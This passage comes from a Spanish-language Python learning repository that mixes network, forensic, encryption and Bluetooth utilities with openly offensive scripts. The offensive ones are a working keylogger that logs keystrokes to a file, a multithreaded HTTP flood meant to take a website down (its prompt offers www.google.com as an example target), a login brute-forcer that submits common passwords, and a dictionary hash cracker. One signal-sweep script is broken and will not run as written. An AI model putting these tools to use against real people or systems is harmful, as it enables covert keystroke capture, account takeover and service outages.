6 | def PingAUnaIp(Ip_destino, count=4, timeout=2):
7 | # Se crea un for que recorre las veces que le indiquemos en el count
8 | for i in range(count):
9 | # Usamos las funciones de IP e ICMP para guardar su respuesta en paquete
10 | Paquete = IP(dst=Ip_destino) / ICMP()
11 | # Guardamos el tiempo inicial en una variable
12 | Tiempo_comienzo = time.time()
13 | # Guardamos la respuesta de sr1 con datos ya establecidos
14 | respuesta = sr1(Paquete, timeout=timeout, verbose=False)
15 | # Ponemos la condicional a esa respuesta
16 | if respuesta:
17 | round_trip_time = (time.time() - Tiempo_comienzo) * 1000
18 | print(f"Ping a la IP {Ip_destino}: Respuesta lograda! TTL={respuesta.ttl} Tid={round_trip_time:.2f}ms")
19 | else:
20 | print(f"Ping a la IP {Ip_destino}: No hubo respuesta.")
21 |
22 | if __name__ == "__main__":
23 | Ip_destino_ping = input("Por favor ingrese la IP destino, del ping: ")
24 | PingAUnaIp(Ip_destino_ping)
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Ataques_de_intrusion/02_Keylogger.py:
--------------------------------------------------------------------------------
1 | # Primero se instala pynput con el siguiente comando "pip install pynput"
2 | # Luego de bajar librerias, las importamos
3 | from pynput.keyboard import Key, Listener
4 |
5 | #Creamos la variable keys con [] que esto lo convierte en una lista
6 | keys = []
7 |
8 | # Creamos la funcion presionar tecla, con el fin de que cara tecla que se pulse
9 | # Se convierta en un texto string
10 | def TeclaPresionada(key):
11 | keys.append(key)
12 | ConversorDeString(keys)
13 |
14 | # La siguiente funcion guarda el string de la tecla que se oprimio en un .text llamado log
15 | def ConversorDeString(keys):
16 | with open('log.txt','w') as logfile:
17 | for key in keys:
18 | key = str(key).replace("'"," ")
19 | logfile.write(key)
20 |
21 | # El software se cancela con la tecla escape
22 | def TeclaSoltada(key):
23 | if key == Key.esc:
24 | return False
25 |
26 | # En este codigo se muestra cuando se prima una tecla, que funcion se realiza,
27 | # Mientras el software esta en modo escucha la pulsacion de teclas
28 | with Listener(on_press = TeclaPresionada, on_release= TeclaSoltada) as listener:
29 | listener.join()
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Relacionado_a_IP/06_Distancia_con_geolocalizacion.py:
--------------------------------------------------------------------------------
1 | # Primero se instala pytube con el siguiente comando "pip install geopy"
2 | #Primero se instala pytube con el siguiente comando "pip install ArcGIS"
3 | # importando Geopy
4 | from geopy.geocoders import ArcGIS
5 | from geopy.distance import geodesic
6 |
7 | #Se declara l usuario de ArcGIS
8 | geolocator = ArcGIS(user_agent="my_application")
9 |
10 | #Solicitamos los nombres de la ciudad inicial y la ciudad final
11 | nombre_ciudad_1 = input("Ingrese el nombre de la ciudad inicial : ")
12 | nombre_ciudad_2 = input("Ingrese el nombre de la ciudad final : ")
13 |
14 | #Con los nombres y ArcGIS guardamos la ubicacion de cada ciudad
15 | position_1 = geolocator.geocode(nombre_ciudad_1)
16 | position_2 = geolocator.geocode(nombre_ciudad_2)
17 |
18 | #la ubicacion de cada ciudad se convierte en coordenadas
19 | coords_1 = ((position_1.latitude, position_1.longitude ))
20 | coords_2 = ((position_2.latitude, position_2.longitude ))
21 |
22 | #Con geodesic, se logra la distancia en kilometros de las 2 ciudades
23 | distancia = str(geodesic(coords_1, coords_2).km)
24 |
25 | #Imprimimos la respuesta
26 | print("La distancia entre la ciudad "+ nombre_ciudad_1 +" y la ciudad "+ nombre_ciudad_2 + " es de "+distancia+" Kms")
27 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Relacionado_a_IP/05_Mostrar_geolocalizacion_sitio.py:
--------------------------------------------------------------------------------
1 | # Primero se instala geopy con el siguiente comando "pip install geopy"
2 | #Primero se instala folium con el siguiente comando "pip install folium"
3 | # importando Geopy
4 | import geopy
5 | import folium
6 | # obtener un manejador para un objeto de servicio de Nominatim
7 | service = geopy.Nominatim(user_agent = "myGeocoder")
8 | # Solicitamos el nombre de la ciudad que se va a mostrar en el mapa
9 | nombre_ciudad = input("Ingrese el nombre de la ciudad que necesita localizar: ")
10 | # guardamos el nombre de la ciudad codificado en la variable
11 | ubicacion = service.geocode(nombre_ciudad)
12 | # latitud
13 | #print(locationObj.latitude)
14 | # longitud
15 | #print(locationObj.longitude)
16 |
17 | # crear un mapa base centrado en la longitus y latitud de la ciudad escogida
18 | ObjetoMapa = folium.Map(location = [ubicacion.latitude,ubicacion.longitude], zoom_start = 5, tiles='OpenStreetMap')
19 | # crear un objeto marcador para la ciudad escogida
20 | SeñalarUbicacion = folium.Marker(location = [ubicacion.latitude,ubicacion.longitude])
21 | # añadir marcador al mapa
22 | SeñalarUbicacion.add_to(ObjetoMapa)
23 | # guardamos el mapa en un archivo .html para poderlo visualizar
24 | ObjetoMapa.save('mapa.html')
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Escaneos/02_Nmap_ejemplo.py:
--------------------------------------------------------------------------------
1 | # Primero se instala python-nmap con el siguiente comando "pip3 install python-nmap"
2 | # Es necesario que en la pagina nmap.org descargue la ultima version de nmap
3 | import nmap
4 |
5 | #En las siguientes lineas, se puede ver informacion de nmap
6 | nmap.__version__
7 | dir(nmap)
8 | dir(nmap.PortScanner)
9 |
10 | # Guardamos la configuracion de la opcion portsacanner de nmap
11 | ep = nmap.PortScanner()
12 |
13 | #Agregamos la ip del dispositivo que vamos a escanear, tambien los puertos que requerimos ver y su version
14 | ep.scan('192.168.0.10','21,22,80,443,3389','-v')
15 |
16 | # Con el siguiente codigo podemos ver en pantalla el comando nmap de la solicitud
17 | ep.command_line()
18 |
19 | # En este codigo se muestra la cantidad de dispositivos finales que hay en la consulta preparada
20 | ep.all_hosts()
21 |
22 | # Con este codigo se da un rango de dispositivos finales de 10 a 15 por los mismos puertos
23 | ep.scan('192.168.0.10-15','21,22,80,443,3389', '-sV')
24 |
25 | #Vemos el resultado detallado de la consulta
26 | ep['192.168.0.10']
27 |
28 | # Aqui vemos el estado de la ip
29 | ep['192.168.0.10'].state()
30 |
31 | #Informacion de los protocolos
32 | ep['192.168.0.10'].all_protocols()
33 |
34 | #Guarda la informacion en un excel
35 | ep.csv()
--------------------------------------------------------------------------------
/04_CRUD_Python_MySql/templates/editarcontacto.html:
--------------------------------------------------------------------------------
1 |
2 | {%extends 'layout.html'%}
3 | {%block body%}
4 |
5 |
6 |
7 |
8 |
9 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 | {% endblock%}
46 |
47 |
48 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Fuerza_bruta/02_FuerzaBruta_Diccionario_Contraseñas.py:
--------------------------------------------------------------------------------
1 | # Fuerza bruta de diccionario a un hash de contraseña
2 | # Primero se instala hashlib con el siguiente comando "pip install hashlib"
3 | import hashlib
4 |
5 | #Primero guardamos el hash de la contraseña en una variable
6 | hash_inicial = "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
7 |
8 | #Guardamos en otra variable, la ruta donde esta el diccionario con las contraseñas
9 | archivo_diccionario = input("ingrese la direccion del diccionario: ")
10 |
11 | #Con el siguiente codigo se recorre la informacion dentro de el diccionario, seleccionando cada posible contraseña
12 | with open(archivo_diccionario, 'r') as file:
13 | diccionario = [line.strip() for line in file]
14 |
15 | #En el siguiente codigo se recorre el diccionarios convirtiendo cada contraseña en hash
16 | for contraseña in diccionario:
17 | hash_calculado = hashlib.sha256(contraseña.encode()).hexdigest()
18 |
19 | #Luego de crear el hash de cada contraseña, se compara con la que queremos descifrar
20 | #Si son identios los hash sale un mensaje indicandolo, si no, sale otro mensaje
21 | if hash_calculado == hash_inicial:
22 | print("la contraseña encontrada es: " + contraseña)
23 | break
24 | else:
25 | print("la contraseña no es la indicada ")
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Escaneos/07_Scapy_IDS.py:
--------------------------------------------------------------------------------
1 | # Con este codigo se realiza un IDS detector de animalias en la red
2 | # Con la libreria de python Scapy
3 | from scapy.all import sniff, IP, TCP
4 | from collections import defaultdict
5 | import time
6 |
7 | # Se crean las variables necesarias
8 | connection_tracker = defaultdict(int)
9 | PORT_SCAN_THRESHOLD = 20
10 | TIME_WINDOW = 60 # segundos
11 | ip_timestamps = defaultdict(list)
12 |
13 | # Se crea la funcion del IDS
14 | def detect_intrusion(packet):
15 | if packet.haslayer(IP) and packet.haslayer(TCP):
16 | ip_src = packet[IP].src
17 | tcp_flags = packet[TCP].flags
18 | current_time = time.time()
19 |
20 | # Solo analizamos paquetes SYN
21 | if tcp_flags == "S":
22 | ip_timestamps[ip_src].append(current_time)
23 | # Filtra eventos viejos
24 | ip_timestamps[ip_src] = [t for t in ip_timestamps[ip_src] if current_time - t < TIME_WINDOW]
25 |
26 | # Si se excede el umbral, hay posible escaneo
27 | if len(ip_timestamps[ip_src]) > PORT_SCAN_THRESHOLD:
28 | print(f"[ALERTA] Posible escaneo de puertos detectado desde {ip_src}")
29 | ip_timestamps[ip_src] = [] # Reset para evitar spam de alertas
30 |
31 | # Iniciar captura (puedes cambiar "eth0" por tu interfaz de red)
32 | print("IDS corriendo... Presiona Ctrl+C para detener.")
33 | sniff(filter="tcp", prn=detect_intrusion, store=0)
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/21_Requests_Github_Dejar_De_Seguir.py:
--------------------------------------------------------------------------------
1 | # En este programa se muestra un codigo para guardar mucha informacion de una usuario web
2 | # Se usaran 2 librerias flask y requests, para ver la informacion de el usuario web
3 | # Primero se instala captcha con el siguiente comando "pip install flask requests"
4 | import requests
5 |
6 | import time
7 |
8 | # Tu usuario de GitHub
9 | username = 'Usuario_Github'
10 |
11 | # Tu token personal (de GitHub)
12 | token = 'Token_Alfanumerico'
13 |
14 | # Ruta al archivo con usuarios que quieres dejar de seguir
15 | archivo = 'no_me_siguen.txt'
16 |
17 | headers = {
18 | 'Authorization': f'token {token}',
19 | 'Accept': 'application/vnd.github+json'
20 | }
21 |
22 | # Leer usuarios del archivo
23 | with open(archivo, 'r', encoding='utf-8') as f:
24 | usuarios = [line.strip() for line in f if line.strip()]
25 |
26 | # Iterar sobre la lista y dejar de seguir
27 | for usuario in usuarios:
28 | url = f'https://api.github.com/user/following/{usuario}'
29 | response = requests.delete(url, headers=headers)
30 |
31 | if response.status_code == 204:
32 | print(f'(+) Dejaste de seguir a: {usuario}')
33 | elif response.status_code == 404:
34 | print(f'(+-) No estabas siguiendo a: {usuario}')
35 | else:
36 | print(f'(-) Error al dejar de seguir a {usuario}: {response.status_code} - {response.text}')
37 |
38 | time.sleep(1) # Espera 1 segundo por seguridad (limita velocidad)
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
• PROYECTOS PYTHON
3 |
4 |
5 | 
6 |
7 | Los pasos para poner en ejecución son los siguientes
8 | Ir a la pagina web de Python y descargarlo para tu sistema operativo, escoger la opción "add path" con el fin de poder ejecutar comandos de Python en la terminal de comandos, y tambien descargarmos Git para las versiones del proyecto
9 |
10 | ```Pagina web
11 | https://www.python.org/downloads/
12 | https://git-scm.com/
13 | ```
14 |
15 | Luego de tener instalado Python podemos ejecutar los siguientes comandos hasta llegar a la carpeta del proyecto y estando ahí ejecutamos los siguientes codigos
16 |
17 | ```Terminal de comandos
18 | cd
19 | python --version
20 | pip --version
21 | ```
22 |
23 | Despues de haber instalado python y confirmar la version, instalamos git y descargamos el proyecto.
24 | ```Terminal de comandos
25 | git --version
26 | git init
27 | git clone https://github.com/guevaraStian/Proyectos_Python.git
28 | Cd Proyectos_Python
29 | git push origin master
30 | ```
31 |
32 | Posteriormente ingresamos a la carpeta creada e instalamos las librerias y ejecutamos el proyecto.
33 |
34 | ```Terminal de comandos
35 | pip install
36 | python
37 | ```
38 | Luego que el proyecto ya se este ejecutando se darán diferentes respuestas en consola o pestañas emergentes
39 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Forense/02_Pefile_Encuentra_Librerias_En_Ejecutable.py:
--------------------------------------------------------------------------------
1 | # En este software se muestra un ejemplo de analisis forense estatico
2 | # Con la libreria pefile se analiza el .exe de notepad y se muestra
3 | # que librerias usa ese ejecutable
4 | # pip install pefile
5 | import pefile
6 |
7 | # Se indica la ruta del ejecutable
8 | pe = pefile.PE("C:\\Windows\\System32\\notepad.exe")
9 |
10 | # Se realiza un ciclo for que muestra en pantalla las direccioon,
11 | # tamaño de memoria y de tamaño de archivo
12 | for section in pe.sections:
13 | print(f"La Sección: {section.Name.decode().rstrip('\\x00')}")
14 | print(f" La Dirección Virtual del archivo: {hex(section.VirtualAddress)}")
15 | print(f" El tamaño en memoria: {hex(section.Misc_VirtualSize)}")
16 | print(f" El tamaño del archivo: {hex(section.SizeOfRawData)}")
17 | print()
18 |
19 | # Mostrar la dirección de entrada del ejecutable
20 | print(f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}")
21 |
22 | # Se imprime en pantalla la información de la cabecera
23 | print(f"Image Base: {hex(pe.OPTIONAL_HEADER.ImageBase)}")
24 |
25 | # Mostramos los imports del archivo
26 | if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
27 | for entry in pe.DIRECTORY_ENTRY_IMPORT:
28 | print(f"Importado de: {entry.dll.decode()}")
29 | for imp in entry.imports:
30 | print(f" {hex(imp.address)} - {imp.name.decode() if imp.name else 'Import by ordinal'}")
31 |
32 | # Cerramos la ejecucion de la libreria
33 | pe.close()
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Fuerza_bruta/04_FuerzaBruta_mechanize.py:
--------------------------------------------------------------------------------
1 | # En este codigo se muestra un software para hace fuerza bruta a un login
2 | # Primero importamos las libreria mechanize
3 | # pip install mechanize
4 |
5 |
6 | import mechanize
7 | import time
8 |
9 | # Se crean las variables necesarias
10 | url_victima = input("Por favor, la direccion url de la pagina web (ej: http://localhost:8080/login) : ")
11 | # url_victima = "http://localhost:8080/login"
12 | usuarios = "admin"
13 | contrasena = ["1234", "admin", "toor", "letmein", "root", "password"]
14 |
15 |
16 | # Crear navegador
17 | br = mechanize.Browser()
18 | br.set_handle_robots(False) # Ignorar robots.txt
19 | br.set_handle_refresh(False)
20 | br.addheaders = [('User-agent', 'Mozilla/5.0')]
21 |
22 | # Probar cada contraseña
23 | for pwd in contrasena:
24 | try:
25 | br.open(url_victima)
26 | br.select_form(nr=0) # Selecciona el primer formulario de la página
27 |
28 | # Completar campos del formulario
29 | br["usuarios"] = usuarios
30 | br["password"] = pwd
31 |
32 | response = br.submit()
33 | content = response.read().decode()
34 |
35 | # Verificar si el login fue exitoso
36 | if "Login incorrecto" not in content:
37 | print(f"Contraseña encontrada: {pwd}")
38 | break
39 | else:
40 | print(f"Falló: {pwd}")
41 |
42 | time.sleep(1) # Evita hacer muchas peticiones seguidas
43 |
44 | except Exception as e:
45 | print(f"Error con {pwd}: {e}")
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Ataques_de_intrusion/07_DenegacionDeServicio_Web.py:
--------------------------------------------------------------------------------
1 | # En este kDenegacion de servicio se pone un limite de paqeutes
2 | # Que pueden afectar una pagina web sencilla tumbandola con 50000 peticiones
3 | # Primero se instala requests con el siguiente comando "pip install requests"
4 | # Luego de bajar librerias, las importamos
5 | import requests
6 | import threading
7 | import time
8 |
9 | # Configura la URL de destino (usa tu propio servidor local o autorizado)
10 | url = input("Por favor, la direccion url de la pagina web (ej: www.google.com) : ")
11 | # url = "http://192.168.1.6:8000"
12 |
13 | # Cantidad de peticiones por un hilo
14 | Peticiones_Hilo = 5000
15 |
16 | # Número de hilos (clientes simulados simultáneos)
17 | Cantidad_Hilos = 1000
18 |
19 | # Funcion que ejecuta solicitudes GET
20 | def send_requests():
21 | for _ in range(Peticiones_Hilo):
22 | try:
23 | response = requests.get(url)
24 | print(f"Estado: {response.status_code}")
25 | except requests.exceptions.RequestException as e:
26 | print(f"Error, se cayo el servidor: {e}")
27 |
28 | # Calcular tiempo actual
29 | Tiempo_inicial = time.time()
30 |
31 | # Crear y lanzar los hilos
32 | Hilos_web = []
33 | for _ in range(Cantidad_Hilos):
34 | Hilo = threading.Thread(target=send_requests)
35 | Hilo.start()
36 | Hilos_web.append(Hilo)
37 |
38 | # Esperar a que todos los hilos terminen
39 | for Hilo in Hilos_web:
40 | Hilo.join()
41 |
42 | Tiempo_Final = time.time()
43 | print(f"Test completo en {Tiempo_Final - Tiempo_inicial:.2f} segundos")
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/No_Se_Han_Probado/16_Escoger_bluetooth_Enviar_Texto.py:
--------------------------------------------------------------------------------
1 | # Con este codigo se crea un software que permite enviar
2 | # Informacion por medio de bloutu a dispositivos cercanos
3 | # Con la libreria de python
4 | # pip install bleak
5 | import asyncio
6 | from bleak import BleakScanner, BleakClient
7 |
8 | # UUID de la característica BLE donde escribirás texto:
9 | WRITE_UUID = "0000ffe1-0000-1000-8000-00805f9b34fb" # <-- reemplaza esto
10 |
11 | async def main():
12 | print("Escaneando dispositivos Bluetooth...")
13 | devices = await BleakScanner.discover(timeout=5.0)
14 |
15 | if not devices:
16 | print("No se encontraron dispositivos.")
17 | return
18 |
19 | # Mostrar lista con índices
20 | for idx, dev in enumerate(devices, start=1):
21 | print(f"{idx}. {dev.name} [{dev.address}]")
22 |
23 | # Elegir dispositivo
24 | num = int(input("\nSelecciona el dispositivo por índice: "))
25 | device = devices[num - 1]
26 |
27 | print(f"\nConectando a {device.name} ({device.address})...")
28 |
29 | async with BleakClient(device.address) as client:
30 | if not client.is_connected:
31 | print("Error: no se pudo conectar.")
32 | return
33 |
34 | print("Conectado!")
35 |
36 | # Pedir texto
37 | msg = input("Escribe el texto a enviar: ")
38 |
39 | # Convertir a bytes
40 | data = msg.encode("utf-8")
41 |
42 | # Enviar
43 | await client.write_gatt_char(WRITE_UUID, data)
44 | print("Texto enviado correctamente.")
45 |
46 | asyncio.run(main())
47 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/02_ZipFile_Esteganografia_desencriptacion.py:
--------------------------------------------------------------------------------
1 | # En el siguiente codigo de programacion, se muestra una forma sencilla
2 | # De extraer un archivo texto en una imagen png
3 | # Pirmero descargamos y usamos las librerias
4 | # Primero se instala zipfile con el siguiente comando
5 | # "pip install zipfile"
6 | import zipfile
7 | import os
8 |
9 | # Con el siguiente codigo se extrae un comprimido de adentro de la imagen
10 | def extraer_zip_de_imagen(imagen_con_zip, salida_zip):
11 | with open(imagen_con_zip, 'rb') as archivo:
12 | datos = archivo.read()
13 |
14 | # Fin estándar de un PNG: IEND chunk + CRC
15 | fin_png = b'\x00\x00\x00\x00IEND\xaeB`\x82'
16 | index_fin = datos.find(fin_png)
17 |
18 | if index_fin == -1:
19 | print("La imagen que tiene la informacion, no se encontro")
20 | return
21 |
22 | # El .zip empieza justo después del final del PNG
23 | inicio_zip = index_fin + len(fin_png)
24 |
25 | with open(salida_zip, 'wb') as zip_file:
26 | zip_file.write(datos[inicio_zip:])
27 |
28 | print(f"El archivo zip extraido se llama: {salida_zip}")
29 |
30 | # En este codigo se muestra como extraer un texto de un archivo zip
31 | def extraer_txt_de_zip(archivo_zip, carpeta_destino='extraido'):
32 | os.makedirs(carpeta_destino, exist_ok=True)
33 | with zipfile.ZipFile(archivo_zip, 'r') as zipf:
34 | zipf.extractall(carpeta_destino)
35 | print(f"El archivo de text extraido del zip es: {carpeta_destino}")
36 |
37 | # EJECUTAR FUNCIONES EXTRACCIÓN
38 | extraer_zip_de_imagen('imagen_con_mensaje.png', 'extraido.zip')
39 | extraer_txt_de_zip('extraido.zip')
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/08_Graficador_General_Señales.py:
--------------------------------------------------------------------------------
1 | # En este ejemplo de codigo se muestra la creacion de un radar
2 | # con la distancia de los dispositivos drones cerca
3 | # pip install pyrtlsdr numpy matplotlib
4 | import numpy as np
5 | import matplotlib.pyplot as plt
6 | import pandas as pd
7 |
8 | # Parámetros de la señal
9 | fs = 10000 # Frecuencia de muestreo (Hz)
10 | duration = 0.01 # Duración de cada frecuencia (segundos)
11 | f_start = 1 # Frecuencia inicial (Hz)
12 | f_end = 3e12 # Frecuencia final (Hz)
13 | step_freq = 100 # Paso de frecuencia (Hz)
14 |
15 | # Tiempo para cada segmento
16 | t = np.arange(0, duration, 1/fs)
17 |
18 | # Arreglo para almacenar toda la señal
19 | signal = np.array([])
20 | frequencies = []
21 |
22 | # Generar la señal para cada frecuencia
23 | for f in range(f_start, f_end + 1, step_freq):
24 | segment = np.sin(2 * np.pi * f * t)
25 | signal = np.concatenate((signal, segment))
26 | frequencies.extend([f]*len(segment))
27 |
28 | # Crear vector de tiempo global
29 | total_time = np.arange(0, len(signal)) / fs
30 |
31 | # Graficar señal
32 | plt.figure(figsize=(10, 4))
33 | plt.plot(total_time, signal)
34 | plt.title("Señal con barrido de frecuencia")
35 | plt.xlabel("Tiempo (s)")
36 | plt.ylabel("Amplitud")
37 | plt.grid(True)
38 | plt.tight_layout()
39 | plt.show()
40 |
41 | # Guardar muestras en archivo CSV
42 | df = pd.DataFrame({
43 | 'Tiempo (s)': total_time,
44 | 'Amplitud': signal,
45 | 'Frecuencia (Hz)': frequencies
46 | })
47 | df.to_csv("senal_barrido_frecuencia.csv", index=False)
48 | print("Archivo CSV guardado como 'senal_barrido_frecuencia.csv'")
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/08_Encriptacion_archivo_fernet.py:
--------------------------------------------------------------------------------
1 | # En el siguiente codigo se muestra como se crea una llave o key para encriptar un la informacion de un texto
2 | # Luego se reemplaza el archivo por uno encriptado y por ultimo se desencripta
3 | # pip install cryptography
4 | from cryptography.fernet import Fernet
5 |
6 | # Con el siguiente codigo se crea una llave, llave o key secreta y aleatoria
7 | def generar_llave():
8 | llave = Fernet.generate_key()
9 | with open("llave.key", "wb") as archivo_llave:
10 | archivo_llave.write(llave)
11 |
12 | # Se crea la funcion de cargar llave
13 | def subir_llave():
14 | return open("llave.key", "rb").read()
15 |
16 | # El siguiente codigo explica como se cifra la informacion de archivo con la libreria fernet
17 | def encriptar_archivo(nombre_archivo):
18 | llave = subir_llave()
19 | fernet = Fernet(llave)
20 |
21 | with open(nombre_archivo, "rb") as archivo:
22 | datos = archivo.read()
23 |
24 | datos_cifrados = fernet.encrypt(datos)
25 |
26 | with open(nombre_archivo, "wb") as archivo:
27 | archivo.write(datos_cifrados)
28 |
29 | # En la siguiente funcion se muestra como se descifran los datos
30 | def desencriptar_archivo(nombre_archivo):
31 | llave = subir_llave()
32 | fernet = Fernet(llave)
33 |
34 | with open(nombre_archivo, "rb") as archivo:
35 | datos_cifrados = archivo.read()
36 |
37 | datos_descifrados = fernet.decrypt(datos_cifrados)
38 |
39 | with open(nombre_archivo, "wb") as archivo:
40 | archivo.write(datos_descifrados)
41 |
42 | # Se ejecutan las 3 funciones creadas anteriormente
43 | generar_llave()
44 | encriptar_archivo("documento.txt")
45 | desencriptar_archivo("documento.txt")
46 |
47 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/18_Cookies.py:
--------------------------------------------------------------------------------
1 | # En este programa se muestra un codigo para crear y validar un Cookie
2 | # Se usaran 3 librerias flask, json y base64, para crear la imagen un software que de cookies
3 | # Primero se instala captcha con el siguiente comando "pip install flask base64"
4 | from flask import Flask, request, make_response
5 | import json
6 | import base64
7 |
8 | app = Flask(__name__)
9 |
10 | # Se programa un diccionario como JSON y luego a base64
11 | def encode_cookie_data(data):
12 | json_data = json.dumps(data)
13 | return base64.b64encode(json_data.encode()).decode()
14 |
15 | # Decodifica y convierte de nuevo a diccionario
16 | def decode_cookie_data(encoded_data):
17 | try:
18 | decoded = base64.b64decode(encoded_data).decode()
19 | return json.loads(decoded)
20 | except Exception:
21 | return {}
22 |
23 | @app.route('/guardar_cookie')
24 | def set_cookie():
25 | # Información que queremos guardar
26 | cookie_data = {
27 | "user": "Sebas123",
28 | "theme": "dark",
29 | "language": "es",
30 | "session_id": "123abc456",
31 | "last_visited": "/productos",
32 | "logged_in": True
33 | }
34 |
35 | encoded = encode_cookie_data(cookie_data)
36 | response = make_response("Cookies creada.")
37 | response.set_cookie('user_data', encoded, max_age=60*60*24*7) # 7 días
38 | return response
39 |
40 | @app.route('/obtener_cookie')
41 | def get_cookie():
42 | encoded = request.cookies.get('user_data')
43 | if encoded:
44 | data = decode_cookie_data(encoded)
45 | return f"Los datos actuales de la cookie:
{json.dumps(data, indent=2)}
"
46 | return "No hay cookie 'user_data'."
47 |
48 | if __name__ == '__main__':
49 | app.run(debug=True)
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/13_Bleak_Info_Bluetooth.py:
--------------------------------------------------------------------------------
1 | # Con este codigo se crea un software que saca informacion de Bluetooth
2 | # Con la libreria de python bleak
3 | # pip install pybluez bleak
4 | import asyncio
5 | from bleak import BleakScanner, BleakClient
6 |
7 | async def conectar_y_extraer_info():
8 | print("Escaneando dispositivos Bluetooth...")
9 | dispositivos = await BleakScanner.discover(timeout=5.0)
10 |
11 | if not dispositivos:
12 | print("No se detectaron dispositivos.")
13 | return
14 |
15 | # Mostramos dispositivos
16 | for i, d in enumerate(dispositivos):
17 | print(f"[{i}] {d.name or 'Desconocido'} | {d.address} | RSSI: {d.rssi} dBm")
18 |
19 | # Selecciona uno
20 | indice = int(input("Selecciona el índice del dispositivo a conectar: "))
21 | device = dispositivos[indice]
22 |
23 | print(f"Conectando a {device.name or 'Desconocido'} ({device.address})...")
24 |
25 | async with BleakClient(device.address) as client:
26 | print("Conectado.")
27 |
28 | # Listar servicios y características disponibles
29 | for service in client.services:
30 | print(f"\n📡 Servicio: {service.uuid}")
31 | for char in service.characteristics:
32 | props = ', '.join(char.properties)
33 | print(f" - Característica: {char.uuid} ({props})")
34 | # Si es legible, intentamos leer
35 | if "read" in char.properties:
36 | try:
37 | value = await client.read_gatt_char(char.uuid)
38 | print(f"Valor leído: {value}")
39 | except Exception as e:
40 | print(f"Error al leer: {e}")
41 |
42 | if __name__ == "__main__":
43 | asyncio.run(conectar_y_extraer_info())
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/01_Piexif_Esteganografia_desencriptacion.py:
--------------------------------------------------------------------------------
1 | # En el siguiente codigo de programacion, se muestra una forma sencilla
2 | # De extraer informacion en una imagen
3 | # Pirmero descargamos y usamos las librerias
4 | # "pip install piexif"
5 |
6 | import os
7 | from PIL import Image
8 | import piexif
9 |
10 | # Con el siguiente codigo se extrae el metadato que esta encriptado
11 | def extraer_metadato(ruta_imagen):
12 | try:
13 | imagen = Image.open(ruta_imagen)
14 | exif_dict = piexif.load(imagen.info.get('exif', b''))
15 |
16 | # Extraer UserComment (ID 37510)
17 | user_comment = exif_dict["Exif"].get(piexif.ExifIFD.UserComment, None)
18 | if user_comment:
19 | # Eliminar encabezado '\x00\x00' y decodificar
20 | texto = user_comment[2:].decode('utf-8', errors='ignore')
21 | return texto
22 | else:
23 | return None
24 | except Exception as e:
25 | print(f"(-) No se pudo leer el dato: {e}")
26 | return None
27 |
28 | def main():
29 | print("!! Empieza a leer los metadatos de la imagen !!")
30 |
31 | # La siguiente pregunta pide la ruta de la imagen
32 | ruta_imagen = input("Ruta de la imagen (ej. editada_foto.jpg): ").strip()
33 | if not os.path.exists(ruta_imagen):
34 | print("(-) No se encontro la imagen")
35 | return
36 |
37 | if not ruta_imagen.lower().endswith((".jpg", ".jpeg")):
38 | print("(-) La imagen no es jpg")
39 | return
40 |
41 | # 2. Extraer y mostrar dato
42 | dato = extraer_metadato(ruta_imagen)
43 | if dato:
44 | print(f"(+) El dato encontrado en la imagen es : '{dato}'")
45 | else:
46 | print("(-) No se encontro metadatos")
47 |
48 | if __name__ == "__main__":
49 | main()
50 |
51 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/09_Graficador_Potencias_Electromagneticas_Pyrtlsdr.py:
--------------------------------------------------------------------------------
1 | # En este ejemplo de codigo se muestra un graficador de potencias electromagneticas
2 | # con la distancia de los dispositivos en una frecuencia
3 | # pip install pyrtlsdr matplotlib numpy
4 | import numpy as np
5 | import matplotlib.pyplot as plt
6 | from rtlsdr import RtlSdr
7 |
8 | # Parámetros del barrido
9 | freq_start = 88e6 # Frecuencia inicial en Hz (por ejemplo, 88 MHz)
10 | freq_end = 108e6 # Frecuencia final en Hz (por ejemplo, 108 MHz)
11 | freq_step = 2e6 # Paso de frecuencia (ancho de banda de la muestra), típico ~2 MHz
12 | sample_rate = 2.4e6 # Tasa de muestreo en Hz
13 | num_samples = 1024 # Número de muestras por paso
14 |
15 | # Inicializa el SDR
16 | sdr = RtlSdr()
17 | sdr.sample_rate = sample_rate
18 | sdr.gain = 'auto'
19 |
20 | frequencies = []
21 | powers = []
22 |
23 | try:
24 | freqs = np.arange(freq_start, freq_end, freq_step)
25 |
26 | for freq in freqs:
27 | print(f"Escaneando {freq / 1e6:.2f} MHz...")
28 | sdr.center_freq = freq
29 | samples = sdr.read_samples(num_samples)
30 |
31 | # FFT y cálculo de potencia
32 | power = np.abs(np.fft.fftshift(np.fft.fft(samples)))**2
33 | power_db = 10 * np.log10(power)
34 | freqs_axis = np.linspace(freq - sample_rate/2, freq + sample_rate/2, num_samples)
35 |
36 | frequencies.extend(freqs_axis)
37 | powers.extend(power_db)
38 |
39 | finally:
40 | sdr.close()
41 |
42 | # Graficar
